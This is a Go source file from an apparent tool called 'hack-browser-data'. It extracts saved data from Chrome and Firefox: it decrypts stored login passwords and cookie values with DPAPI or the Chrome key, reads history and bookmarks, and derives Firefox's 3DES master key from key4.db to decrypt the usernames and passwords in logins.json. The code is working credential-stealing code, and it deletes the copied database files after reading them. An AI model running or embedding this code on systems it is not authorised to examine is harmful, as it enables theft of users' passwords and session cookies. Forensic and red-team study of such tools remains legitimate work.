package core import ( "bytes" "crypto/cipher" "crypto/des" "crypto/hmac" "crypto/sha1" "database/sql" "encoding/asn1" "encoding/base64" "encoding/hex" "hack-browser-data/log" "hack-browser-data/utils" "io/ioutil" "os" "sort" "time" _ "github.com/mattn/go-sqlite3" "github.com/tidwall/gjson" ) const ( bookmarkID = "id" bookmarkAdded = "date_added" bookmarkUrl = "url" bookmarkName = "name" bookmarkType = "type" bookmarkChildren = "children" ) var ( FullData = new(BrowserData) ) type ( BrowserData struct { LoginDataSlice BookmarkSlice CookieMap HistorySlice } LoginDataSlice []loginData BookmarkSlice []bookmarks CookieMap map[string][]cookies HistorySlice []history loginData struct { UserName string encryptPass []byte Password string LoginUrl string CreateDate time.Time } bookmarks struct { ID int64 Name string Type string URL string DateAdded time.Time } cookies struct { Host string Path string KeyName string encryptValue []byte Value string IsSecure bool IsHTTPOnly bool HasExpire bool IsPersistent bool CreateDate time.Time ExpireDate time.Time } history struct { Title string Url string VisitCount int LastVisitTime time.Time } ) func ParseResult(dbname string) { switch dbname { case utils.Bookmarks: parseBookmarks() case utils.History: parseHistory() case utils.Cookies: parseCookie() case utils.LoginData: parseLogin() } } var bookmarkList BookmarkSlice func parseBookmarks() { bookmarks, err := utils.ReadFile(utils.Bookmarks) defer os.Remove(utils.Bookmarks) if err != nil { log.Println(err) } r := gjson.Parse(bookmarks) if r.Exists() { roots := r.Get("roots") roots.ForEach(func(key, value gjson.Result) bool { getBookmarkChildren(value) return true }) } sort.Slice(bookmarkList, func(i, j int) bool { return bookmarkList[i].ID < bookmarkList[j].ID }) FullData.BookmarkSlice = bookmarkList } var queryLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` func parseLogin() { var loginItemList LoginDataSlice login := loginData{} loginDB, err := sql.Open("sqlite3", utils.LoginData) defer os.Remove(utils.LoginData) defer func() { if err := loginDB.Close(); err != nil { log.Println(err) } }() if err != nil { log.Println(err) } err = loginDB.Ping() rows, err := loginDB.Query(queryLogin) defer func() { if err := rows.Close(); err != nil { log.Println(err) } }() for rows.Next() { var ( url, username, password string pwd []byte create int64 ) err = rows.Scan(&url, &username, &pwd, &create) login = loginData{ UserName: username, encryptPass: pwd, LoginUrl: url, } if utils.VersionUnder80 { password, err = utils.DecryptStringWithDPAPI(pwd) } else { password, err = utils.DecryptChromePass(pwd) } if create > time.Now().Unix() { login.CreateDate = utils.TimeEpochFormat(create) } else { login.CreateDate = utils.TimeStampFormat(create) } login.Password = password if err != nil { log.Println(err) } loginItemList = append(loginItemList, login) } sort.Sort(loginItemList) FullData.LoginDataSlice = loginItemList } var queryCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies` func parseCookie() { cookie := cookies{} cookieMap := make(map[string][]cookies) cookieDB, err := sql.Open("sqlite3", utils.Cookies) defer os.Remove(utils.Cookies) defer func() { if err := cookieDB.Close(); err != nil { log.Println(err) } }() if err != nil { log.Println(err) } err = cookieDB.Ping() rows, err := cookieDB.Query(queryCookie) defer func() { if err := rows.Close(); err != nil { log.Println(err) } }() for rows.Next() { var ( key, host, path, value string isSecure, isHTTPOnly, hasExpire, isPersistent int createDate, expireDate int64 encryptValue []byte ) err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent) cookie = cookies{ KeyName: key, Host: host, Path: path, encryptValue: encryptValue, IsSecure: utils.IntToBool(isSecure), IsHTTPOnly: utils.IntToBool(isHTTPOnly), HasExpire: utils.IntToBool(hasExpire), IsPersistent: utils.IntToBool(isPersistent), CreateDate: utils.TimeEpochFormat(createDate), ExpireDate: utils.TimeEpochFormat(expireDate), } // remove prefix 'v10' if utils.VersionUnder80 { value, err = utils.DecryptStringWithDPAPI(encryptValue) } else { value, err = utils.DecryptChromePass(encryptValue) } cookie.Value = value if _, ok := cookieMap[host]; ok { cookieMap[host] = append(cookieMap[host], cookie) } else { cookieMap[host] = []cookies{cookie} } } FullData.CookieMap = cookieMap } var queryHistory = `SELECT url, title, visit_count, last_visit_time FROM urls` func parseHistory() { var historyList HistorySlice h := history{} historyDB, err := sql.Open("sqlite3", utils.History) defer os.Remove(utils.History) defer func() { if err := historyDB.Close(); err != nil { log.Println(err) } }() if err != nil { log.Println(err) } err = historyDB.Ping() rows, err := historyDB.Query(queryHistory) defer func() { if err := rows.Close(); err != nil { log.Println(err) } }() for rows.Next() { var ( url, title string visitCount int lastVisitTime int64 ) err := rows.Scan(&url, &title, &visitCount, &lastVisitTime) h = history{ Url: url, Title: title, VisitCount: visitCount, LastVisitTime: utils.TimeEpochFormat(lastVisitTime), } if err != nil { log.Println(err) continue } historyList = append(historyList, h) } sort.Slice(historyList, func(i, j int) bool { return historyList[i].VisitCount > historyList[j].VisitCount }) FullData.HistorySlice = historyList } func getBookmarkChildren(value gjson.Result) (children gjson.Result) { b := bookmarks{} b.ID = value.Get(bookmarkID).Int() nodeType := value.Get(bookmarkType) b.DateAdded = utils.TimeEpochFormat(value.Get(bookmarkAdded).Int()) b.URL = value.Get(bookmarkUrl).String() b.Name = value.Get(bookmarkName).String() children = value.Get(bookmarkChildren) if nodeType.Exists() { b.Type = nodeType.String() bookmarkList = append(bookmarkList, b) if children.Exists() && children.IsArray() { for _, v := range children.Array() { children = getBookmarkChildren(v) } } } return children } var queryPassword = `SELECT item1, item2 FROM metaData WHERE id = 'password'` func checkKey(key4 string) (b [][]byte) { keyDB, err := sql.Open("sqlite3", key4) defer func() { if err := keyDB.Close(); err != nil { log.Println(err) } }() if err != nil { log.Println(err) } err = keyDB.Ping() rows, err := keyDB.Query(queryPassword) defer func() { if err := rows.Close(); err != nil { log.Println(err) } }() for rows.Next() { var ( item1, item2 []byte ) if err := rows.Scan(&item1, &item2); err != nil { log.Println(err) } b = append(b, item1, item2) } return b } var queryDecode = `SELECT a11, a102 from nssPrivate;` func checkA102(key4 string) (b [][]byte) { keyDB, err := sql.Open("sqlite3", key4) defer func() { if err := keyDB.Close(); err != nil { log.Println(err) } }() if err != nil { log.Println(err) } rows, err := keyDB.Query(queryDecode) defer func() { if err := rows.Close(); err != nil { log.Println(err) } }() for rows.Next() { var ( a11, a102 []byte ) if err := rows.Scan(&a11, &a102); err != nil { log.Println(err) } b = append(b, a11, a102) } log.Println(b) return b } /* ASN1 PBE Structures SEQUENCE (2 elem) SEQUENCE (2 elem) OBJECT IDENTIFIER SEQUENCE (2 elem) OCTET STRING (20 byte) INTEGER 1 OCTET STRING (16 byte) */ type PBEAlgorithms struct { SequenceA CipherText []byte } type SequenceA struct { DecryptMethod asn1.ObjectIdentifier SequenceB } type SequenceB struct { EntrySalt []byte Len int } /* SEQUENCE (3 elem) OCTET STRING (16 byte) SEQUENCE (2 elem) OBJECT IDENTIFIER 1.2.840.113549.3.7 des-EDE3-CBC (RSADSI encryptionAlgorithm) OCTET STRING (8 byte) OCTET STRING (16 byte) */ type PasswordAsn1 struct { CipherText []byte SequenceIV Encrypted []byte } type SequenceIV struct { asn1.ObjectIdentifier Iv []byte } func decryptPBE(decodeItem []byte) (pbe PBEAlgorithms) { _, err := asn1.Unmarshal(decodeItem, &pbe) if err != nil { log.Error(err) } return } func DecodeKey4() { h1 := checkKey("key4.db") globalSalt := h1[0] decodedItem := h1[1] keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1} pbe := decryptPBE(decodedItem) m := checkPassword(globalSalt, pbe.EntrySalt, pbe.CipherText) var finallyKey []byte if bytes.Contains(m, []byte("password-check")) { log.Println("password-check success") h2 := checkA102("key4.db") a11 := h2[0] a102 := h2[1] m := bytes.Compare(a102, keyLin) if m == 0 { pbe2 := decryptPBE(a11) log.Debugf("decrypt asn1 pbe success") finallyKey = checkPassword(globalSalt, pbe2.EntrySalt, pbe2.CipherText)[:24] log.Debugf("finally key", finallyKey, hex.EncodeToString(finallyKey)) } } allLogins := GetLoginData("logins.json") for _, v := range allLogins { log.Warn(hex.EncodeToString(v.encryptUser)) s1 := decryptLogin(v.encryptUser) log.Warn(hex.EncodeToString(v.encryptPass)) s2 := decryptLogin(v.encryptPass) log.Println(s1, s1.CipherText, s1.Encrypted, s1.Iv) block, err := des.NewTripleDESCipher(finallyKey) if err != nil { log.Println(err) } blockMode := cipher.NewCBCDecrypter(block, s1.Iv) sq := make([]byte, len(s1.Encrypted)) blockMode.CryptBlocks(sq, s1.Encrypted) blockMode2 := cipher.NewCBCDecrypter(block, s2.Iv) sq2 := make([]byte, len(s2.Encrypted)) blockMode2.CryptBlocks(sq2, s2.Encrypted) log.Errorf("%s:%s:%s", v.loginUrl, string(sq), string(sq2)) } } func checkPassword(globalSalt, entrySalt, encryptText []byte) []byte { //byte[] GLMP; // GlobalSalt + MasterPassword //byte[] HP; // SHA1(GLMP) //byte[] HPES; // HP + EntrySalt //byte[] CHP; // SHA1(HPES) //byte[] PES; // EntrySalt completed to 20 bytes by zero //byte[] PESES; // PES + EntrySalt //byte[] k1; //byte[] tk; //byte[] k2; //byte[] k; // final value conytaining key and iv sha1.New() hp := sha1.Sum(globalSalt) log.Warn(hex.EncodeToString(hp[:])) log.Println(len(entrySalt)) s := append(hp[:], entrySalt...) log.Warn(hex.EncodeToString(s)) chp := sha1.Sum(s) log.Warn(hex.EncodeToString(chp[:])) pes := paddingZero(entrySalt, 20) tk := hmac.New(sha1.New, chp[:]) tk.Write(pes) pes = append(pes, entrySalt...) log.Warn(hex.EncodeToString(pes)) //k1 = hmac.new(chp, pes + entrySalt, sha1).digest() //tk = hmac.new(chp, pes, sha1).digest() k1 := hmac.New(sha1.New, chp[:]) k1.Write(pes) log.Warn(hex.EncodeToString(k1.Sum(nil))) log.Warn(hex.EncodeToString(tk.Sum(nil))) //k2 = hmac.new(chp, tk + entrySalt, sha1).digest() tkPlus := append(tk.Sum(nil), entrySalt...) k2 := hmac.New(sha1.New, chp[:]) k2.Write(tkPlus) log.Warn(hex.EncodeToString(k2.Sum(nil))) k := append(k1.Sum(nil), k2.Sum(nil)...) iv := k[len(k)-8:] key := k[:24] log.Warn("key=", hex.EncodeToString(key), "iv=", hex.EncodeToString(iv)) block, err := des.NewTripleDESCipher(key) if err != nil { log.Println(err) } blockMode := cipher.NewCBCDecrypter(block, iv) sq := make([]byte, len(encryptText)) blockMode.CryptBlocks(sq, encryptText) return sq } func paddingZero(s []byte, l int) []byte { h := l - len(s) if h <= 0 { return s } else { for i := len(s); i < l; i++ { s = append(s, 0) } return s } } type Logins struct { encryptUser []byte encryptPass []byte loginUrl string createTime int64 } func GetLoginData(loginsJson string) (l []Logins) { s, err := ioutil.ReadFile(loginsJson) if err != nil { log.Warn(err) } defer os.Remove(loginsJson) h := gjson.GetBytes(s, "logins") if h.Exists() { for _, v := range h.Array() { var ( m Logins u []byte p []byte ) m.loginUrl = v.Get("formSubmitURL").String() u, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String()) m.encryptUser = u if err != nil { log.Println(err) } p, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String()) m.encryptPass = p m.createTime = v.Get("timeCreated").Int() l = append(l, m) } } return } func decryptLogin(s []byte) (pbe PasswordAsn1) { _, err := asn1.Unmarshal(s, &pbe) if err != nil { log.Println(err) } return pbe }